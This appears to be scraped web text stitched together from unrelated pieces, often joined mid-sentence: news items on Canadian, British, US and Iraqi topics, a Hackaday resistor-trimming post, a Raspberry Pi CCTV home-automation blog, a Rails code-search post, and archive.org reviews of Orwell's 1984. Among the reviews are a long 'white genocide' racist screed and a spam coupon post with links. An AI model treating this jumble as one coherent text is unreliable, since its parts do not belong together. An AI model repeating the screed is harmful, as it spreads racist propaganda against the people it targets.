He was working as a repairman at the time when the Canadian Broadcast Corporation (CBC) used hidden cameras to record him urinating into the cup and pouring it down the sink while on the job.
Incredibly, Mr Bance urinated into the cup while the home owner was in the next room.
Read more: Ex-Ukip candidate who blamed Alyan Kurdi's death on his parents' greed apologises for causing "distress"
Mr Bance, running in a Toronto district in the October 19 election, now manages an appliance repair company.
He said in a statement to CBC: "I deeply regret my actions on that day.
"I take great pride in my work and the footage from that day does not reflect who I am as a professional or a person."
Mr Bance has ran as a candidate for the Conservatives twice before, both in 2006 and in 2008.
Read more: Politician apologises after calling for a chocolate spread boycottThere are times when you might want an odd-value resistor. Rather than run out to the store to buy a 3,140 Ω resistor, you can get there with a good ohmmeter and a willingness to solder things in series and parallel. But when you want a precise resistor value, and you want many of them, Frankensteining many resistors together over and over is a poor solution.
Something like an 8-bit R-2R resistor-ladder DAC, for instance, requires seventeen resistors of two values in better than 0.4% precision. That’s just not something I have on hand, and the series/parallel approach will get tiresome fast.
Ages ago, I had read about trimming resistors by hand, but had assumed that it was the domain of the madman. On the other hand, this is Hackaday; I had some time and a file. Could I trim and match resistors to within half a percent? Read on to find out.
Metal-Film, Through-Hole Resistors
Your run-of-the-mill through-hole resistor is a metal-film resistor, made by depositing a thin layer of metal onto a non-conductive ceramic cylinder. The metal film is cut into a helix, and the length, width, and thickness of the resulting metal coil determine the resistance. Since the deposited metal is so thin, between 50 nm and 250 nm, you might think that trimming this down by hand is going to be a bit finicky.
Jumping straight to the punchline, when I was trying to change the resistance by small amounts, maybe less than 5% or so, it was trivially easy to land spot on the exact desired value. I had bags of 1 kΩ and 2 kΩ 1% resistors, and I figured I would make a whole bunch of mistakes while learning.
The reality is that I went over the target once out of seventeen attempts, and that only by one ohm. The rest of the resistors are trimmed as well as I can measure — down to the single ohm. (My meter and probes have a 0.3 Ω offset, but there’s nothing I can do about that.) I pitched the “bad” one, made one more, and had a perfect set in short order.
Here’s the whole procedure. I put the resistor into some insulated clamps, and clipped my ohmmeter to either end. I used a small round file, and just went at it. The first few strokes get you through the relatively thick coating, but once you see metal, or notice a blip on the ohmmeter, a very light touch with the file is the rule. Maybe blow some of the metal dust off between strokes when you’re getting close, but I didn’t notice that it made much difference. Seven or eight light strokes with the tiny little file brought the resistors to a ten-point landing.
Indeed, because it’s easy to go too far at first, I found that ideal candidate resistors to file were the 1,990 Ω ones. Many of my 1 kΩ resistors came in at 999 Ω, which makes it hard to get through the casing without overshooting the mark. I probably could have just left them. The good news is that most 1% resistors will be off by more than a few ohms in either direction, otherwise they’d be sold as 0.1% resistors. And of course, you need to pick source resistors with a lower resistance than the target — you’re not adding metal with the file.
So you only need to have one value of resistor in your kit, right? Absolutely not. Creating a 1.2 kΩ resistor from a 1 kΩ original is asking for trouble. I got it to work a few times, again down to the single ohm, by restarting the filing process in a different place rather than simply going deeper in one hole, but I don’t recommend it, and I can’t think of when you’d need to. Just add a 200 Ω resistor in series and trim that. Remember that you’re thinning down a metal spiral that’s only 100 nm thick to begin with. Easy does it.
Surface-Mount?
Filing down through-hole resistors to exact values was so much easier than I had anticipated that I decided to take on something harder. I tacked a 1206 2.1 kΩ resistor onto some stripboard. Wouldn’t you know it, it read out exactly 2,100 Ω, so 2,105 Ω became the target. That didn’t go well at all; I ended up with a 2,722 Ω resistor faster than I had expected.
The second 1206 started out at 2,103 Ω, and I just went at it without a goal in mind. By going very carefully, I got it’s resistance down to 2,009 Ω before it jumped to 2,600 Ω and beyond. Lowering the resistance doesn’t make sense at all. Maybe I was dragging some solder into the gap and effectively thickening the metal layer? I went looking for information, but didn’t get any further into the construction than Vishay’s datasheet: “metal glaze on high-quality ceramic” which doesn’t enlighten much.
After two more attempts, I couldn’t get the SMT resistors in trim at all; the layer of deposited metal is just too thin. And anyway, I’m not sure how useful it would be — the thought of soldering and de-soldering seventeen of these isn’t very appealing.
Conclusion
Trimming through-hole resistors is awesome. I made a complete set of matched better-than-0.05% (!) resistors for an 8-bit DAC in half an hour with nothing more than a file and an ohmmeter. And on my first try. You could easily make a 10-bit DAC this way. The result was an order of magnitude better than I had hoped, and it wasn’t hard at all. Amazing. And nothing says cool like a hand-made, artisanal DAC. (For odd values of cool.)
My attempt at trimming surface-mount resistors, on the other hand, was a complete failure. Anyone out there care to guess why? Is it just the tweakiness of trimming a super-thin film? Anyone with a precise laser cutter want to have a go and write us about it?• 42-year-old leaves county champions Essex to take up permanent role • Former England seamer to start in January, after Ashes Tests
Chris Silverwood, the mastermind behind Essex winning the county championship this year, has accepted the role as England’s fast bowling coach.
The former Yorkshire, Middlesex and England seamer will become the full-time replacement for Ottis Gibson, who left his second spell in charge of the Test and one-day attack at the end of the summer in order to become the head coach of South Africa.
Is staying sober just not cricket? | Andy Bull Read more
The timing of Gibson’s departure before this winter’s Ashes defence saw England move to bring in Shane Bond, the former New Zealand quick, on a short-term consultancy role up until the end of the second Test in Adelaide that begins on 2 December.
But now the process for the long-term vacancy that was advertised last month has been completed by the England and Wales Cricket Board, with Silverwood understood to have been offered the role this week and which he duly accepted.
It is a blow for Essex, who lose the head coach who oversaw promotion in 2016 during his first season in charge, followed by this summer’s title win. Anthony McGrath, his deputy at Chelmsford, is likely to take over in an interim role and is also favourite to get the job permanently.
Silverwood is already due to work with England’s Lions during the Australia training camp next month, while the first two Ashes Tests are taking place, but will not take over from Bond when the New Zealander leaves mid-series to take up his role with Brisbane Heat in the Big Bash League.
The 42-year-old Silverwood, who claimed 577 first-class wickets during his playing career from 1993 to 2009 and won the last of his six Test caps at Perth during the 2002-03 Ashes tour, will instead begin his new assignment when the one-day series against Australia gets under way in January.
Jonny Bairstow delighted with role of England’s man for all sessions Read more
Silverwood was among a number of county coaches to work with England’s one-day set-up at the end of the recent international season, along with Glenn Chapple of Lancashire, Leicestershire’s Graeme Welch, Jon Lewis of Sussex and Nottinghamshire’s Andy Pick.
The England head coach, Trevor Bayliss, has always maintained he sees the England position as tactical ahead of technical and Silverwood’s reputation rocketed last summer in that regard when Essex were crowned champions for the first time in 25 years. Certainly Jamie Porter thrived under his watch, with the 24-year-old’s 75 wickets central to the triumph.
Jimmy Anderson, England’s all-time leading wicket-taker, said at the back end of the summer that he saw the next bowling coach being primarily in charge of bringing through the next generation of quicks behind himself and the similarly established Stuart Broad.Hello Hello again. Recently I was chiming in on a thread on reddit regarding CCTV. I mentioned how my cameras/cctv is setup. Then I thought.
Hey, you know would like to know this?
EVERYONE!!!!
Really. Conversation totally happened in my head. Told you Doctors it’s not too crowded up there.
Let’s begin!!
This all really started because of my 3dprinter…..
“How…. Huh…. But you…..” I hear you saying it. It makes no sense. But Ill fix that little red wagon.
I love searching around on thingiverse.com it’s actually part of my daily sites to check. So I came across this thing. It’s a security enclosure for a raspberry pi and pi camera… WHAT?!?!?!
I know. I thought the same thing. I need that….. So I started printing the parts.
Once I had it printed, I threw in my pi camera (NOIR). The NOIR made it even better for being a security camera. Ok, so cool. How about software?
I was looking for some super simple camera software as there are tons of “security” camera projects out there for the pi. I came across this one “MotionEyeOS.” Being built off the program Motion I decided to get in and test it out. Flash the SD card and boot it up, gets an IP. I just checked my dhcp leases on the router to find the ip, then gave it a static IP.
Once you have the IP just throw that ish in the browser!! Configure your network settings ect. But in the expert settings there is a switch. Turn it on.
No seriously. Turn it on.
Yes I know. The fast network camera page on the wiki looks like it kills alot of stuff.
The Differences
When you have Fast Network Camera enabled, you’ll notice that:
your motionEyeOS-based camera can reach a significantly higher frame rate, at a higher resolution
you can tweak many CSI camera-specific parameters directly from the UI
your browser will eat up less CPU at the same frame rate/resolution (it uses a pure MJPEG stream, rather than triggering every refresh from JavaScript)
On the other hand, this doesn’t come without some disadvantages:
no more motion detection
no more motion notifications
no more pictures or movies
no more overlaid text (date/time, camera name)
a significantly higher network bandwidth usage
you’ll need to forward port 8081 as well, if you want to access your camera from the Internet
No motion detection!?!?! Are you crazy that’s why I am even reading this stupid page!!!!!!
Calm down. Please calm down. Can you even use that as a weapon?!?!
Just let me finish before you use that thing!!!
So you enable fast network camera. This lets you get some faster higher quality out of the camera. Now here is the fun part.
I setup a VM of ubuntu and installed MotionEye. Not MotionEyeOS but MotionEye.
Once you have it running hit your motioneye server (http://<motioneyeserverip:8765) and you will get another nice web interface.
In here, you will add a new camera, and set it up to point to your raspberry pi camera.
Now what is really cool here is you can setup a few cameras. When I first set it up, I had 1 camera and then I found 9 traffic cameras and marina cams and what not from places all over the world and was able to plug them in. Truly felt like a super villain being able to see everything!
Now that you have your cameras in motioneye we can now use the motion eye server to handle our motion detection. See, I told you I would get there.
There are some cool setting here that you can do. For example:
I have my video streaming setup so I can embed individual streams if I want into a web page, maybe a security camera sitemap page in openhab?
I have still images setup and capture when motion is detected.
I have Motion Detection configured that more than 5% of the frame has to change.
Then the fun part in Motion Notifications
I have a script configured on motion detection.
/usr/bin/notifycam.sh %t
This script is very simple. It has 2 lines currently. I honestly could knock it down to one. Or I could add some additional code to handle different items for each camera. The %t just passes in the camera ID.
Ill go over that in a minute…. I SAID IN A MINUTE!!!!!!
On my Kodi media system in my office I installed this great add in called
Security Camera Overlay
It’s a very interesting add in. You configure it for your security camera. Well, I have mine connected to motioneye.
In MotionEye if you click on the Streaming Video there is a link in there called “Snapshot URL”
Grab that, you will need it to configure your Kodi system.
Put that snapshot URL in the Image URL field when configuring your add on.
On the Behaviors tab, if your camera supports 16×9 I definitely recommend changing the Window width/height. I have it refresh every half second and auto close after 4 seconds.
So what does this look like? LIKE THIS FOOL!!!!
It pops up right over Bob’s Burgers!!! refreshes a few times, let’s me see what’s going on and slides right back off.
Back to the script
/usr/bin/curl -g "http://xx.xx.xx.xx:8080/jsonrpc?request={%22jsonrpc%22:%222.0%22,%22method%22:%22Addons.ExecuteAddon%22,%22params%22:{%22addonid%22:%22script.securitycam%22},%22id%22:%221%22})" /usr/bin/curl --header "Content-Type: text/plain" --request POST --data "ON" http://xx.xx.xx.xx:8080/rest/items/PorchMotionDetected
Explanation:
Line1: sends a json packet to my Kodi install in my office telling activating the great addon Security Camera Overlay. This makes it slide over whatever you are watching.
Line2: sends a “motion detected” packet to openhab. In my openhab Items file there is a simple switch I can add all my rules around.
In writing this I learned something today. I am going to make a couple modifications in the future.
The notifycam.sh file will be adjusted down to 1 line.
It will just make the call to openhab.
But it will look something like
<pre>/usr/bin/curl --header "Content-Type: text/plain" --request POST --data "ON" http://xx.xx.xx.xx:8080/rest/items/CameraMotion%1
That way I don’t have to recode the script when I add a camera. I just need to add a new item CameraMotion<ID> to openhab.
Then I can add all the camera’s to a gSecurityCam group and build some rules around state change in that group. Then openhab can send out the notifcations to pop up the stuff on my kodi and any other kodi system I wish, as well as send me notices through other openhab notifcations.
I hope this was long enough for you…Consumer Heterogeneity and Paid Search Effectiveness: A Large Scale Field Experiment
NBER Working Paper No. 20171
Issued in May 2014
NBER Program(s):Industrial Organization
Internet advertising has been the fastest growing advertising channel in recent years with paid search ads comprising the bulk of this revenue. We present results from a series of large scale field experiments done at eBay that were designed to measure the causal effectiveness of paid search ads. Because search clicks and purchase behavior are correlated, we show that returns from paid search are a fraction of conventional non-experimental estimates. As an extreme case, we show that brand-keyword ads have no measurable short-term benefits. For non-brand keywords we find that new and infrequent users are positively influenced by ads but that more frequent users whose purchasing behavior is not influenced by ads account for most of the advertising expenses, resulting in average returns that are negative.
Acknowledgments
Machine-readable bibliographic record - MARC, RIS, BibTeX
Document Object Identifier (DOI): 10.3386/w20171
Published: Thomas Blake & Chris Nosko & Steven Tadelis, 2015. "Consumer Heterogeneity and Paid Search Effectiveness: A Large‐Scale Field Experiment," Econometrica, Econometric Society, vol. 83, pages 155-174, 01. citation courtesy of
Users who downloaded this paper also downloaded* these:Markit household finances index suggest people have taken heart from response by politicians and the Bank of England
The British public’s confidence in the economy recovered in August as the country appeared to shrug off concerns that the Brexit vote would harm prospects for jobs and higher wages.
The rebound in sentiment followed a slump in July as consumers fretted about the impact that leaving the EU would have on disposable incomes.
Low earners and public sectors workers were the most pessimistic in the latest monthly survey, while the highest earners and private sector workers were the most confident about the outlook for their finances.
Confidence measures are watched closely by economists, who say a drop can cause people to stop spending, which hurts the economy and stifles investment.
Expectations for finances over the next 12 months picked up to 49.8 on the Markit household finances index in August, from 47.1 in July. Anything below 50 signals deterioration, so households believe the outlook is stable, but they are still feeling cautious.
Jack Kennedy, a senior economist at the financial data provider, said that July represented a wobble following the Brexit vote.
“Concerns seem to have eased in line with the removal of some of the immediate political uncertainty arising from the shock referendum result, combined with a strong monetary policy response from the Bank of England aimed to cushion the economy and head off any lurch towards recession,” he said.
A counterpoint to Markit was provided by a survey from the pollster TNS, which found household confidence had fallen sharply since the vote to leave the EU, with 33% of Britons believing the economy has worsened compared with a year ago, up 11 percentage points from April.
The snap poll of 1,199 people also showed that fewer expected to see a pay rise in the next 12 months and more thought the economy would fare worse over the next year.
“The latest data suggests that confidence in the economy is back down at levels last seen in 2011/12, when the country [last flirted with] recession,” said Luke Taylor, the head of social and political attitudes at TNS.
Retail sales data on Thursday will provide the first official steer on how consumer demand has been affected by the unexpected result of the 23 June referendum, after other measures have painted a mixed picture.
Major retailers including Tesco, Next and John Lewis say they have not been affected so far by the referendum result, and the British Retail Consortium said spending in shops bounced in July.
A CBI survey of wholesalers and retailers, however, found that sales volumes declined more rapidly in July than at any time since January 2012, with weaker consumer confidence a likely factor in the immediate period following the referendum.
The long-running GfK survey, Britain’s main gauge of consumer morale and considered a reliable indicator of future household spending over the years, suffered its sharpest drop since 1990 last month.CAMP ARIFJAN, Kuwait (CNN) -- Attacks against U.S. troops in Iraq with bombs believed linked to Iran -- known as explosively formed penetrators (EFPs) -- have risen sharply in January after several months of decline, according to the top U.S. commander in Iraq.
Explosively formed penetrators are more sophisticated and deadlier than typical improvised explosive devices.
Iraqi and U.S. officials indicated just a month ago that Iran was using its influence to improve security in Iraq by restraining cross-border weapons flow and militia activity. The U.S. military had said in recent months that the number of EFP attacks had gone down.
Gen. David Petraeus disclosed the reversal to reporters after a meeting with President Bush who was visiting troops in Kuwait.
"In this year, EFPs have gone up, actually, over the last 10 days by a factor of two or three, and frankly we're trying to determine why that might be," Petraeus said.
Petraeus did not say how many American troops have been killed or wounded by EFPs in recent days.
Don't Miss Bush arrives in Kuwait on Mideast peace mission
The U.S. military announced nine troop deaths from bombings in the first 11 days of January, but the death announcements did not specify if EFPs were involved.
EFPs are more sophisticated and deadlier than the typical improvised explosive devices (IED) used by insurgents as roadside bombs to attack convoys and foot patrols until last year. EFPs use components manufactured in Iran and militants are trained in Iran to use them, the U.S. military has said.
President Bush, in remarks to reporters in Kuwait, said: "Iran must stop supporting the militia special groups that attack Iraqi and coalition forces, and kidnap and kill Iraqi officials."
The Bush administration and the military have long maintained that Iranian agents, particularly the Quds Force of Iran's Islamic Revolutionary Guard Corps -- have been arming and training Iraqi insurgents. E-mail to a friend
CNN's Emily Schultz contributed to this reportCTVNews.ca Staff
The 'yellow pucks of sadness' – a phrase used to describe the eggs served to patients at the Ottawa Hospital – will soon be seeing an improvement as hospital officials work to revamp the menu.
After the hospital's managers, including CEO Dr. Jack Kitts, ate nothing but hospital food one week, it was decided that the menu needed a makeover.
"Eggs are on the list," Kevin Peters, Ottawa Hospital's director of food and logistics, told CTV News Channel on Tuesday. "There are things we have to keep working on, that's for sure."
The week-long experiment follows years of complaints about the meals patients are served at the hospital.
Speaking to CTV Ottawa, hospital patients described the food in the facility as "gross," "plain," and "bland."
Peters said the hospital managers and patients ate the same eggs and bagels for breakfast, and the same chicken a la king for dinner.
"Let's say we have room for improvement," he said when asked about the calibre of the meals.
Peters said, over the next year, the hospital will work towards a fresher, more ethnically diverse menu.
He said the hospital plans to introduce quinoa and other ancient grains to the menu, offer fresh salads instead of soup and sandwiches for lunch, and swap the tried and true chicken a la king with butter chicken.
The hospital prepares food for 1,000 patients every day – so changing up the menu won't happen overnight.
But Peters said new desserts will be rolling out this week, and changes will keep coming over the next year.
"We're working with other hospitals in the region, our vendors and our suppliers, in trying to create a menu the entire region can be proud of," he said.
With a report from CTV OttawaWashington’s congressional delegation is making a bipartisan push to renew payments to rural counties that have large amounts of their land in federal forests.
Legislation being introduced this week in both the Senate and the House calls for Congress to reauthorize the Secure Rural Schools program. The SRS helps compensate counties that contain large amounts of federal land, which is exempt from the local property taxes that provide a significant portion of money used for schools, roads and emergency services.
Authorization for the program was not renewed last fall.
Sen. Maria Cantwell, D-Wash., was among the sponsors of the Senate bill following a hearing Tuesday in the Energy and Natural Resources Committee. At the hearing, local officials from the state said the program was important for maintaining essential services.
“The White House does not seem to understand the need for the SRS (programs), nor the impact they have on local governments and local economies across the West,” Cantwell said in a news release.
Rep. Cathy McMorris Rodgers, R-Wash., is among sponsors of the House bill, saying it was vital for rural communities in the northeast part of the state. While the federal government works on reforms to “get our federal forests working again,” it must provide certainty to those counties, she said.
Washington counties in the SRS received a total of $17.3 million last year. As of this year, that amount was down to about $2.3 million. The bills introduced would cover the shortfall caused by the program’s loss of authorization and guarantee the same payment levels as 2016.Governor Palin doesn’t want anybody to worry about “Troopergate” anymore, nothing to see here folks! When she protests as much as she has on this subject, you know it should be investigated further. Oh, and by the way, it’s business as usual again. Palin is still going to be charging the government of Alaska a per diem to work out of her house and the state is still going to be picking up the tab for her children to fly everywhere with her.
The really bad news, we are going to be hearing more about Sarah Palin. She refuses to fade from the limelight.
McClatchy
Palin also said she loved her time in the national spotlight and won’t rule out a run for president or vice president in 2012. Those were some of Palin’s responses to questions posed Sunday afternoon in a wide-ranging interview with the Anchorage Daily News and KTUU Channel 2 at the governor’s Wasilla home.
Greta Von Susteren of Fox News had just finished an interview with her and was chatting with the governor and her husband in the kitchen. Moose chili cooked in the crock pot and moose hot dogs lay on the table. Palin insisted they weren’t a prop for the national media but just how the family likes to dine.
Here’s some of what she had to say:
Q — Why did your campaign lose? A — I think the Republican ticket represented too much of the status quo, too |
to abolish it when that state’s governor signs a repeal law this week. Five states have repealed the death penalty in the past six years, Dieter said.
“There’s been a trend away from capital punishment,” said Dieter. “The number of sentences imposed in the country has declined by 75 percent since 1990 and only nine states carried out an execution last year.”
State Senator Darren Soto tried on Friday to raise the required jury vote from seven to 10 for death penalties. He said Florida is the only state allowing juries to recommend death by a simple majority of 7 to 5. He said Alabama is the only other state allowing non-unanimous death recommendations, which he said require 10 votes there.plus-circle Add Review
comment Reviews
Reviewer: jjdeprisco - favorite favorite favorite - August 30, 2018
Subject: Could be much better I enjoyed this as a printed book and agree this reading is very good and dramatically appealing. However, there are some issues.
1) There are audio glitches throughout showing some bad editing. Words cut off, etc.
2) Low end rumble, which could easily have been avoided during recording or in post. No excuse with today's software.
3) The track numbers relate in no way to the chapters, so it is impossible to find anything. - August 30, 2018Could be much better
Reviewer: Satanic Buck - favorite favorite favorite favorite favorite - May 10, 2018
Subject: Lost for words I am so lost for words as to how brilliant and beautiful this book is. - May 10, 2018Lost for words
Reviewer: zelator - favorite favorite favorite favorite favorite - November 10, 2016
Subject: Fascists hate this book. Wonder why? Orwell was a brilliant author and staid observer of the human condition. This book is so insightful, it is almost a cliche. Fascists hate it because it exposes why nationalism and racial pride are both absurd nonsense. - November 10, 2016Fascists hate this book. Wonder why?
Reviewer: plebian poblano - favorite favorite favorite favorite favorite - December 13, 2015
Subject: Doubleplusgood 1984 is doubleplusgood - December 13, 2015Doubleplusgood
Reviewer: K10vvn - favorite favorite favorite favorite favorite - July 3, 2015
Subject: Great recording The book is great. I'm surprised to see it called "poisonous". Peraonally, have held this to be the most beautiful love story I've ever read. I know its not the focus of the book, but its a huge part of the plot.
I would dismiss any negative reviews. Simply look at how no real point is ever made here about why it is bad. So I dismiss any negative reviews in the same manor that they dismiss this book. Without reason. I wipe my arse with their reviews.. Bahaha!
Good recording is more the point... Well read. - July 3, 2015Great recording
Reviewer: HIGHLAND PRESS - favorite favorite favorite favorite favorite - March 17, 2014
Subject: STOP White GeNOcide
Everybody says there is this RACE problem. Everybody says this RACE problem will be solved when the third world pours into EVERY white country and ONLY into white countries.
The Netherlands and Belgium are just as crowded as Japan or Taiwan, but nobody says Japan or Taiwan will solve this RACE problem by bringing in millions of third worlders and quote assimilating unquote with them.
Everybody says the final solution to this RACE problem is for EVERY white country and ONLY white countries to “assimilate,”
What if I said there was this RACE problem and this RACE problem would be solved only if hundreds of millions of non-blacks were brought into EVERY black country and ONLY into black countries?
How long would it take anyone to realize I’m not talking about a RACE problem. I am talking about the final solution to the BLACK problem?
And how long would it take any sane black man to notice this and what kind of psycho black man wouldn’t object to this?
But if I tell that obvious truth about the ongoing program of genocide against my race, the white race, Liberals and respectable conservatives agree that I am a naziwhowantstokillsixmillionjews.
They say they are anti-racist. What they are is anti-white.
Anti-racist is a code word for anti-white. ASIA FOR THE ASIANS, AFRICA FOR THE AFRICANS, WHITE COUNTRIES FOR EVERYBODY!Everybody says there is this RACE problem. Everybody says this RACE problem will be solved when the third world pours into EVERY white country and ONLY into white countries.The Netherlands and Belgium are just as crowded as Japan or Taiwan, but nobody says Japan or Taiwan will solve this RACE problem by bringing in millions of third worlders and quote assimilating unquote with them.Everybody says the final solution to this RACE problem is for EVERY white country and ONLY white countries to “assimilate,” i.e., intermarry, with all those non-whites.What if I said there was this RACE problem and this RACE problem would be solved only if hundreds of millions of non-blacks were brought into EVERY black country and ONLY into black countries?How long would it take anyone to realize I’m not talking about a RACE problem. I am talking about the final solution to the BLACK problem?And how long would it take any sane black man to notice this and what kind of psycho black man wouldn’t object to this?But if I tell that obvious truth about the ongoing program of genocide against my race, the white race, Liberals and respectable conservatives agree that I am a naziwhowantstokillsixmillionjews.They say they are anti-racist. What they are is anti-white.Anti-racist is a code word for anti-white. - March 17, 2014STOP White GeNOcide
Reviewer: jomomcgee - favorite - November 1, 2013
Subject: Worst. Ever. I hate 1984. It's poisonous. If I could set things alight simply with my gaze, and by casting thoughts of burning hatred, that book would be reduced to nothing but a pile of ashes. I write this as a negative infinity-billion! - November 1, 2013Worst. Ever.
Reviewer: liko - favorite favorite favorite favorite favorite - January 12, 2013
Subject: Brilliant book! This is a fantastic book and also very important.From what i have read,the movie was made to stop people from reading the book.The book has so much more information in it,than the movie.I find people who dislike this,just dont understand it,its warning and its message.This book is still very relevant especially that is was written in 1948,and explains systems of political control & oligarchical collectivism in great detail.If you interested propaganda,geopolitics,history,dystopian future wars,than read this/listen rather than watch the movie.George Orwell was an genius! - January 12, 2013Brilliant book!
Reviewer: morgan321 - favorite favorite favorite favorite - June 28, 2012
Subject: 1984 I first read this book in 1968 at the end of my school career and found it to be really far-fetched and an impossibly inconceivable science fiction tale. Today, I must admit that much of it has come to pass.
Human thought has been shaped by the people that control the Western media, our “telescreens”. Very subtly, by allowing fictional characters to repeatedly accept things bordering on the ridiculous, the audience have had the seed sown in each of us that maybe we are out of step with society in some way and they have imperceptibly moulded our thinking to comply.
As an example, I am mindful of the majority of pre-1960s society considering sex between two people of the same sex, as something abhorrent, rather as we see pedophiles today. Now “same sex Marriage” is something taken seriously as a “sexual preference”. If we ask the question in company “How the hell did we let this happen to ourselves”, one can feel people glancing nervously at each other and distancing themselves by body language.
How soon before we come to accept pedophilia as yet another “sexual preference”?
What Orwell did not allow for, was the increased open communication between people that is afforded by the internet. Only lately have the powers that be, made serious attempts to muzzle to opinions of people that don’t conform. With horror I now find that I am asking myself if readers of this outburst of mine will be able to track my computer’s IP address and mark me as a “bigot” when next I go for an interview for a job or a social benefit. I expect that my email and Facebook pages will be swamped with adverts shaped towards my preferences. Big brother “knows” me. - June 28, 20121984
Reviewer: dirtrider - - February 23, 2012
Subject: suck This is the worst book i have ever read it the aurtor sucks i hate this book so much i wiped my butt with the pages - February 23, 2012suck
Reviewer: ferron214296 - favorite favorite favorite favorite favorite - February 5, 2012
Subject: Still relevant If you hate this book, you probably love big brother. - February 5, 2012Still relevant
Reviewer: lilbaby12 - - January 11, 2012
Subject: sucks i hate this book so much it dumb i hate this book so i burned it our english teacher made us read it so suck it and shove it up ur butt - January 11, 2012sucks
Reviewer: johns2012 - favorite favorite favorite favorite favorite - October 13, 2011
Subject: Just started I just now started to read this. I made it to chapter 3. My college Prep teacher is making us read this, so far its really good. I like to read along with a recording so I found this website on ask.com haha! I will use this audio recording when Im at home. - October 13, 2011Just started
Reviewer: Audible Book - favorite favorite favorite favorite favorite - October 22, 2009
Subject: George
Audible Book
such a great writer. read most of his books and notes (under your nose etc), and just learnd so much. - October 22, 2009George
Reviewer: Richard_N - favorite favorite favorite favorite favorite - October 21, 2009
Subject: Audible Audio Books Coupons
I bought it through a product reviews web site (Consumer Product Reviews), and I got a Audible Coupons from them: two free Audiobook downloads. Here is the URL:
It has really changed my life, so I had to share it with you guys.
Cheers,
R.N
http://www.performancerevenues.com Every day I go to work by the sub. I cant read because of its movements and noises. After buying my Audible my life have changed. I hear my favorite magazines and books, and hear it through my Ipod. By the way - its very nice to fall asleep with as well..I bought it through a product reviews web site (Consumer Product Reviews), and I got a Audible Coupons from them: two free Audiobook downloads. Here is the URL: http://www.consumer-productreviews.com/audio-books/audible-audio-books.html It has really changed my life, so I had to share it with you guys.Cheers,R.N - October 21, 2009Audible Audio Books Coupons
Reviewer: lunarvol - favorite favorite favorite favorite favorite - October 1, 2009
Subject: I Have Not Only Thought That......but have recently witnessed with sub rosa documentation (and continue to) witness and experience it nearly every day, horrifically, in ______, __'s [yes, traditional] "healing and helping" professions, et. al.? -- oh, sorry: in that city's Ministry of Love? However, pursuant to a different real-time ending of the narrative, I would ask here: am I the only person to have read between the precision strategic lines on the Internet, per unimpeachable source, written by one or more [not something we will or would specify] U.S. Military officer's texts, which were presented with the subtle control -- though with a more direct and amplified commonweal protective task -- of a good technical sergeant? This novel and its performance are among the great in literature. But it is no longer fiction. And that will not be believed for a time, by most. - October 1, 2009I Have Not Only Thought That...Sometimes when doing large refactoring or upgrades we would like to find places in the code for which grep or Rubymine search is not good enough. These are usually cases where you would like to use something more powerful. And we can do that.
I am upgrading this old app to Rails 4.1 and the official guide mentions this case:
Previously, Rails allowed inline callback blocks to use return this way:
class Model < ActiveRecord :: Base before_save { return false } end
This behavior was never intentionally supported. Due to a change in the internals of ActiveSupport::Callbacks, this is no longer allowed in Rails 4.1. Using a return statement in an inline callback block causes a LocalJumpError to be raised when the callback is executed.
Of course, the same code could look like:
class Model < ActiveRecord :: Base before_save do return false if something? end end
or be even more complex/nested.
I did not want to look at all possible files and callbacks to figure out whether there is a statement like that or not. I decided to use a ruby parser and check the AST for blocks which have a return statement.
I am not super skilled in using this gem or its binaries. I know it can be used for rewriting Ruby in Ruby because my coworkers used it for doing big rewrites across big Rails apps. But I’ve never played with it before myself. This was my first approach. And I think it went fine :)
Easy beginning
I started by having a small ruby example showing more or less that kind of code I was trying to detect and parsing it to see what it looks like.
require 'parser/current' code = <<- RUBY class Model < ActiveRecord::Base before_save do if something return 5 end end before_update { return 6 if false } end RUBY ast = Parser :: CurrentRuby. parse ( code )
and it gives us:
s(:class, s(:const, nil, :Model), s(:const, s(:const, nil, :ActiveRecord), :Base), s(:begin, s(:block, s(:send, nil, :before_save), s(:args), s(:if, s(:send, nil, :something), s(:return, s(:int, 5)), nil)), s(:block, s(:send, nil, :before_update), s(:args), s(:if, s(:false), s(:return, s(:int, 6)), nil))))
the result has overwritten inspect method so the output looks a bit unusual. But here is what it is.
ast. type # => :class ast. class # => Parser::AST::Node ast. children. size # => 3 ast. children. first. type => :const
in the deep
And that’s all I needed to know. I can read a node’s type and it can be for example :block or :return symbols. I can iterate over children (1st level) with children. There is probably much more you can. I wanted to iterate over all descendants but I couldn’t find an easy way to do it. Nevertheless, children was good enough for me. I decided to write a recursive algorithm which will look for :block nodes and inside them for :return nodes.
def look_for_block ( ast ) return unless Parser :: AST :: Node === ast if ast. type == :block # when we found block ast. children. map do | child | look_for_return ( child ) # let's look for returns in it end. any? else ast. children. map do | child | # otherwise let's look for blocks look_for_block ( child ) # deeper in the AST end. any? end end def look_for_return ( ast ) return false unless Parser :: AST :: Node === ast if ast. type == :return return true else # if this is not a return ast. children. map do | child | look_for_return ( child ) # maybe it is somewhere deeper end. any? end end
Since this was quite a simple query I didn’t mind writing it by hand. Looking for X inside Y when Z is something would be less trivial. When I was writing it my first thought was that XPath queries could be an interesting way of expressing such queries. After all that would be just //block//return query, I believe. Maybe there is a gem for that. I don’t know, if you do, let me know.
Anyway, it seemed to work on my artificial example so I was hopeful :)
code = <<- RUBY class Model < ActiveRecord::Base before_save do if something return 5 end end before_update { return 6 if false } end RUBY ast = Parser :: CurrentRuby. parse ( code ) look_for_block ( ast ) # => true
The only thing left for me to do was checking it out on all files in my Rails project.
Dir. glob ( "app/**/*.rb" ). select do | file | ast = Parser :: CurrentRuby. parse ( File. read ( file )) look_for_block ( ast ) end # => [ # "app/controllers/cart_controller.rb", # "app/models/package.rb", # "app/models/rule.rb", # "app/services/products/service.rb" # ]
And it worked! It found usages such as:
FileUtils. cd ( working_directory ) do cmd = "..." return system ( cmd )
or
module Products class Service def bulk_destroy ( cmd ) Product. transaction do #... return BulkDestroyResult. new ( destroyed_ids, preserved_ids )
or
class Controller def action #... respond_to do | format | format. html do if something #... else redirect_to cart_path and return
All of them had a return statement inside a block. But in the end, none of them were callbacks, so I didn’t have to change anything.
BTW, all of that - not needed if you have very good code coverage and you can just rely on test failures to bring broken code to your attention after Rails upgrade.
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And don’t forget to check out our latest book Domain-Driven Rails. Especially if you work with big, complex Rails apps.Sunil Gavaskar: "Are you worried that Cheteshwar Pujara will score runs so that your favourites who are not consistent might have to make way?" © AFP
Who should India have picked against Afghanistan? Cheteshwar Pujara
Ishwar Pandey
Both
Neither See results »
Sunil Gavaskar has slammed the Indian team management for not experimenting with the XI in Wednesday's dead rubber against Afghanistan in Mirpur, warning that it could breed complacency in the team.
